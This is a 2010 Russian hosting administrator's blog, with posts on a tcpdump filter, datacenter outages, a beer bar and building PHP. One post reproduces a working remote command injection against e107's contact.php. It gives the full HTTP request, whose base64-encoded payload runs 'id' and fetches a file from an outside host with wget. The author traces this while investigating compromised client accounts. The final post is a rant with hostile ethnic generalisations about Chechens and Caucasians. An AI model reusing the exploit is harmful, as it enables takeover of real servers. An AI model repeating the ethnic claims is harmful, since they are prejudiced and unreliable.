Никогда не любил phpmyadmin. Сегодня в очередной раз убедился, какой это хлам. Консольный mysql - это наше всё. Вебмин тоже годится. И Mysql Workbench. А phpmyadmin - для нищебродов, которые всякими денверами пользуются.
Воть.
среда, 25 августа 2010 г.
среда, 18 августа 2010 г.
Отбор GET запросов
tcpdump -nnp -vv -s 1500 -c 10000 -X dst host xxx.xxx.xxx.xxx and "tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420"
понедельник, 2 августа 2010 г.
Как ломают e107 < 0.7.21
Нашёл-таки, как именно команды скарливают этой поделке дырявой.
В файле contact.php есть строчка:
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
Тестировал на CentOS + nginx + php-fpm
В файле contact.php есть строчка:
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");Туда суётся такая конструкция:
author_name=[php]"$cmd";die();[_php]И вуаля - выполнена команда с правами юзера, от которого скрипты работают. Если пыхпых работает как модуль - то правами апача ))
Вот так вот.
Сам http запрос выглядит так (имена хостов изменены):
POST /e107/contact.php HTTP/1.1Строчку суём хоть сплойтом, хоть плагином для фокса, хоть телнетом )))
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: test.domain.ru
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: 259
send-contactus=1&author_name=%5Bphp%
5Decho(base64_decode("QmFNYlk=").shell_exec(base64_decode(" aWQ=")).base64_decode(" Qnlyb2VOZXQ=")).shell_exec( base64_decode(" Y2QgL3RtcDt3Z2V0IGh0dHA6Ly9kb2 1haW4ub3JnL2hlbGxvLnR4dDsK"))% 3Bdie%28%29%3B%5B%2Fphp%5D
Тестировал на CentOS + nginx + php-fpm
четверг, 29 июля 2010 г.
Про e107
E107 продолжают ломать, подсаживают через неё ботов. Для выявления поломанных помогает только CGI. Вчера прочесал несколько серверов в поисках аккаунтов, использующих e107 версии ниже 0.7.22 и перевёл их на CGI. Сегодня темпы проверяю - воооот, сразу видно, через кого подложили:
[root@xxxxx ~]$ ls -lh /tmp/ | egrep '\.(txt|pl|php|xp|c|1|2)$'
-rw-r--r-- 1 xxx571 wheel 27K Jul 29 11:44 perl.txt
четверг, 22 июля 2010 г.
Новая стойка
Съели ещё одну стойку ) Скоро восьмую начнём.
За фотки схватил люлей от охраны, теперь придётся разрешения спрашивать.
Седьмая стойка:
А это просто наши ВПСы и сипанели + ещё кой-чего:
И всё вместе:
За фотки схватил люлей от охраны, теперь придётся разрешения спрашивать.
Седьмая стойка:
А это просто наши ВПСы и сипанели + ещё кой-чего:
И всё вместе:
Ураган и Даталайн
Всё-таки, хоть в м100 и бывают иногда проблемы, но там не так стрёмно, как в Даталайне. Тут в их ДЦ на Боровой завалило все чиллеры металлоломом на 10 тонн, ДЦ колбасило 5 часов, пока чиллеры не починили.
Вообще, что-то им не везёт. Правда, прошлая авария была связана с человеческим фактором:
Свет вырубили, сотрудники запускают дизеля - из 3х стартует 2. Ну да ладно - третий всё равно запасной, стартанули без резерва. Но так, как резервную линию питания походу толком не проверяли - от нагрузки выбило автоматы. ДЦ лежал по разным данным от 40 до 100 минут. Учитывая, что у них там одногруппникиклассники лежат и евроафросеть... недовольство было ппц.
Даже жалко их - ДЦ этому год с копейками, ему ещё года 2 работать на то, чтобы окупиться, а тут то одно, то другое.
Вообще, что-то им не везёт. Правда, прошлая авария была связана с человеческим фактором:
Свет вырубили, сотрудники запускают дизеля - из 3х стартует 2. Ну да ладно - третий всё равно запасной, стартанули без резерва. Но так, как резервную линию питания походу толком не проверяли - от нагрузки выбило автоматы. ДЦ лежал по разным данным от 40 до 100 минут. Учитывая, что у них там одногруппники
Даже жалко их - ДЦ этому год с копейками, ему ещё года 2 работать на то, чтобы окупиться, а тут то одно, то другое.
Пилснер
Побывал наконец в Пилснере. Как и говорили - Козел там действительно зачООООтный. Очень мягкий и приятный. ))
Приятель из работников бара вытянул, что пиво для них варят не в Чехии, а в Калуге, но под очень жестким контролем.
Пиво действительно вкусное и, как ни странно, недорогое.
Неудивительно, что даже в будний день места лучше заказывать заранее.
Приятель из работников бара вытянул, что пиво для них варят не в Чехии, а в Калуге, но под очень жестким контролем.
Пиво действительно вкусное и, как ни странно, недорогое.
Неудивительно, что даже в будний день места лучше заказывать заранее.
PHP
Дожили - в век rpm пакетов приходится собирать пыхпых из сорсов, ибо понадобился именно 5.2.12. В центосовских репозиториях либо 5.1, либо в тестовом 5.2.10. В сторонних - 5.2.13.
Но зато ностальгия какая... )))
# make install && enjoy the party ))
ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.
Но зато ностальгия какая... )))
# make install && enjoy the party ))
ЗЫ
Оно работает ))) Правда, pdo пришлось компилить как статику, ибо как shared она не работала, а разбираться уже некогда было.
Двойные стандарты?
Сегодня занесло на ЧП, там увидел, как ребята цветы кладут. Так и узнал, как чеченцы Юру Волкова убили.
Вот что интересно - если принимают русского, убившего гостя Столицы, то ему дают 22 года, а если эти самые выходци из чесни и прочего кавказа убивают русского - то их отпускают под подписку о невыезде, и похоже, всё идёт к тому, что отделаются условным. Как всегда.
А ведь это происходит почти каждый день.
И когда, блять, это прекратится?
Вот что интересно - если принимают русского, убившего гостя Столицы, то ему дают 22 года, а если эти самые выходци из чесни и прочего кавказа убивают русского - то их отпускают под подписку о невыезде, и похоже, всё идёт к тому, что отделаются условным. Как всегда.
А ведь это происходит почти каждый день.
И когда, блять, это прекратится?
Подписаться на:
Сообщения (Atom)
.jpg)
.jpg)
.jpg)

.jpg)
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)